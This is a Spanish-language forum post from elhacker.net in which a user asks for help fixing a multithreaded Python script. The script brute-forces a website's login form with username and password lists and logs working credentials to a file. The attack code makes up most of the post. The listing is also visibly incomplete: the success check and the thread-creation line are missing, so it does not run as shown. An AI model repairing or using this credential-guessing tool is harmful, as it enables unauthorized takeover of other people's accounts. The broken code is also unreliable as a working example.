Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: asdexiva en 16 Junio 2015, 00:42 am



Título: python diccionario atack multithread bug
Publicado por: asdexiva en 16 Junio 2015, 00:42 am
Código
  1. import mechanize
  2. from threading import *
  3. import time
  4. import os
  5.  
  6. archivo1= open ('lista1.txt')
  7. archivo = open ('lista.txt')
  8.  
  9. def brute(url2,li,lin):
  10.    try:
  11.        br = mechanize.Browser()
  12.        url3= "paginaweblogout"
  13.        url2=url2
  14.        r = br.open(url2)
  15.        br.select_form(nr=1)
  16.        br.form["name"]= li
  17.        br.form["pass"] = lin
  18.        br.submit()
  19.  
  20.            r = br.open(url3)
  21.            text_file = open("Output.txt", "a")
  22.            text_file.write("cuenta: %s  password: %s\n" % (li,lin))
  23.            text_file.close()
  24.  
  25.        else:
  26.            print  li + ":" + lin +'no'
  27.    except:pass
  28.  
  29. count = 0    
  30. thrdlst = []
  31. url2= "paginaweblogin"
  32. for li,lin in zip(archivo.read().split('\n'),archivo1.read().split('\n')):
  33.  
  34.    t.start()
  35.  
  36.    thrdlst.append(t)
  37.    time.sleep(0.210)
  38.    print count
  39. for b in thrdlst:
  40.    b.join()


tengo un problema por que no termina todo el proceso de la lista de 2600 palabras
solo hace 1200 palabras y se para y no continua
sera algun problema con el zip del for ? que solo se cumple la mitad ? ayuda please

si me pudieran decir como obtener los datos de un solo de bloc de notas por ejemplo asi
cuenta:cuenta
cuenta1:cuenta1

tipo hydra es que talvez sea eso